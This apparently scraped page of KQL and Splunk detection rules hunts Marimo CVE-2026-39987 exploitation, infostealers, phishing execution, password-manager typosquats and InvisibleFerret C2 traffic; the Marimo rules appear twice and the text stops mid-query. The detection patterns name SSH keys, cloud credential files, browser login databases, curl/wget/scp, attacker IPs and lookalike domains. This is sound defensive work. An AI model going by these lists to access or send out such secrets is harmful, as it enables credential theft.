Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("the1password.com", "app1password.com", "appbitwarden.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("the1password.com", "app1password.com", "appbitwarden.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("the1password.com", "app1password.com", "appbitwarden.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Detects user navigation or DNS resolution to the specific lookalike domains used in Google-Ads malvertising campaigns that impersonate 1Password and Bitwarden login portals to harvest master passwords and secret keys. Article-specific because it pins to the named typosquats rather than a generic regex.
Rationale: Hard-coded the article's three typosquats plus bitwardenlogin.com (the redirect target confirmed by Malwarebytes/BleepingComputer for the same appbitwarden.com Google-Ads campaign). Match on these full domains is high-fidelity — these strings have no legitimate use.
Cross-checked against:
• https://www.malwarebytes.com/blog/threat-intelligence/2023/01/google-sponsored-ads-malvertising-targets-password-manager
• https://www.bleepingcomputer.com/news/security/bitwarden-password-vaults-targeted-in-google-ads-phishing-attack/
• https://www.malwarebytes.com/blog/news/2025/10/phishers-target-1password-users-with-convincing-fake-breach-alert
ATT&CKT1566.002T1583.001T1056.003
Data sourcesNetwork_Resolution.DNSWeb.Web
let typo_domains = dynamic(["the1password.com","app1password.com","appbitwarden.com","bitwardenlogin.com"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (typo_domains) or tostring(AdditionalFields) has_any (typo_domains)
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, AccountName
| union (DeviceEvents | where ActionType == "BrowserLaunchedToOpenUrl" | where RemoteUrl has_any (typo_domains) | project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, AccountName)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.user) as user from datamodel=Web where Web.url IN ("*the1password.com*","*app1password.com*","*appbitwarden.com*","*bitwardenlogin.com*") by Web.src Web.dest Web.http_method | `drop_dm_object_name(Web)` | append [| tstats `summariesonly` count from datamodel=Network_Resolution.DNS where DNS.query IN ("the1password.com","app1password.com","appbitwarden.com","bitwardenlogin.com","*.the1password.com","*.app1password.com","*.appbitwarden.com") by DNS.src DNS.query DNS.answer | `drop_dm_object_name(DNS)`] | stats count values(*) as * by src
Hunts execution of the named InvisibleFerret module files (bow.py browser stealer, pay.py main payload, adc.py AnyDesk dropper, *.npl loader, pay_u2GgOA8.py variant) that the DeceptiveDevelopment cluster drops via fake-job-interview lures and uses to exfiltrate 1Password / Dashlane vaults to Telegram and FTP. Article-specific: keyed to the named campaign's filenames rather than generic 'python.exe runs script'.
Rationale: Module names bow.py/pay.py/adc.py and the .npl loader are documented in the ESET malware-ioc GitHub repo for DeceptiveDevelopment, and any.run published the p.zip portable-Python SHA256 (6a104f07...) as the prerequisite dropper. These filenames are not generic — combined with python.exe parent context they are unique to this campaign.
Cross-checked against:
• https://github.com/eset/malware-ioc/tree/master/deceptivedevelopment
• https://any.run/cybersecurity-blog/invisibleferret-malware-analysis/
• https://attack.mitre.org/software/S1245/
• https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/
ATT&CKT1059.006T1555.005T1555.003T1567.002
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let if_files = dynamic(["bow.py","pay.py","pay_u2GgOA8.py","adc.py"]);
let p_zip_sha = "6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0";
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("python.exe","pythonw.exe","python","python3") and (ProcessCommandLine has_any (if_files) or ProcessCommandLine has ".npl"))
or InitiatingProcessSHA256 == p_zip_sha
or SHA256 == p_zip_sha
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath, SHA256
| union (DeviceFileEvents | where Timestamp > ago(30d) | where FileName in~ (if_files) or FileName endswith ".npl" or SHA256 == p_zip_sha | project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.process_name IN ("python.exe","pythonw.exe","python3","python") OR Processes.parent_process_name IN ("python.exe","pythonw.exe")) AND (Processes.process IN ("*bow.py*","*pay.py*","*pay_u2GgOA8.py*","*adc.py*","*.npl*") OR Processes.process="*p.zip*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Endpoint.Filesystem where Filesystem.file_name IN ("bow.py","pay.py","pay_u2GgOA8.py","adc.py","p.zip") OR Filesystem.file_name="*.npl" by Filesystem.dest Filesystem.file_path Filesystem.file_name | `drop_dm_object_name(Filesystem)`]
Detects HTTP beacons to the documented InvisibleFerret C2 infrastructure — specifically the /keys, /pdown, /brow, /bow, /adc URI paths on TCP/1244 and TCP/1245, and the listed C2 IPs from the ESET DeceptiveDevelopment IOC bundle. Pairs cleanly with UC2 to confirm a successful infostealer foothold.
Rationale: C2 IPs sourced from ESET's malware-ioc/deceptivedevelopment GitHub list, ports 1244/1245 and URI paths /keys /pdown /brow /bow /adc from the any.run technical analysis. Combination of those numeric ports + unusual single-word URI paths originating from python.exe is essentially unique to InvisibleFerret.
Cross-checked against:
• https://github.com/eset/malware-ioc/tree/master/deceptivedevelopment
• https://any.run/cybersecurity-blog/invisibleferret-malware-analysis/
• https://attack.mitre.org/software/S1245/
• https://thehackernews.com/2025/02/north-korean-hackers-target-freelance.html
ATT&CKT1071.001T1102T1041
Data sourcesNetwork_Traffic.All_TrafficWeb.Web
let if_c2_ips = dynamic(["95.164.17.24","185.235.241.208","147.124.214.129","23.106.253.194","147.124.214.237","67.203.7.171","45.61.131.218","135.125.248.56","173.211.106.101"]);
let if_paths = dynamic(["/keys","/pdown","/brow","/bow","/adc"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP in (if_c2_ips) or RemotePort in (1244,1245)
or (RemoteUrl has_any (if_paths) and (RemotePort in (1244,1245) or RemoteIP in (if_c2_ips)))
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl, ActionType
| where InitiatingProcessFileName in~ ("python.exe","pythonw.exe","node.exe","npm.exe") or RemoteUrl has_any (if_paths)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_port) as dest_port values(All_Traffic.bytes_out) as bytes_out from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest IN ("95.164.17.24","185.235.241.208","147.124.214.129","23.106.253.194","147.124.214.237","67.203.7.171","45.61.131.218","135.125.248.56","173.211.106.101") OR All_Traffic.dest_port IN (1244,1245) by All_Traffic.src All_Traffic.dest All_Traffic.app | `drop_dm_object_name(All_Traffic)` | append [| tstats `summariesonly` count from datamodel=Web where Web.url IN ("*:1244/keys*","*:1244/pdown*","*:1245/brow*","*:1245/bow*","*:1245/adc*") OR (Web.dest IN ("147.124.214.129","173.211.106.101") AND Web.uri_path IN ("/keys","/pdown","/brow","/bow","/adc")) by Web.src Web.dest Web.url Web.uri_path | `drop_dm_object_name(Web)`]
2025-11-124 use cases0 techniques3 kill-chain phases detected
Vite Vitejs contains an improper access control vulnerability that exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Vendor: Vite, Product: Vitejs. Federal patch due: 2026-02-12.
CVEsCVE-2025-31125
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-31125")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-31125")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
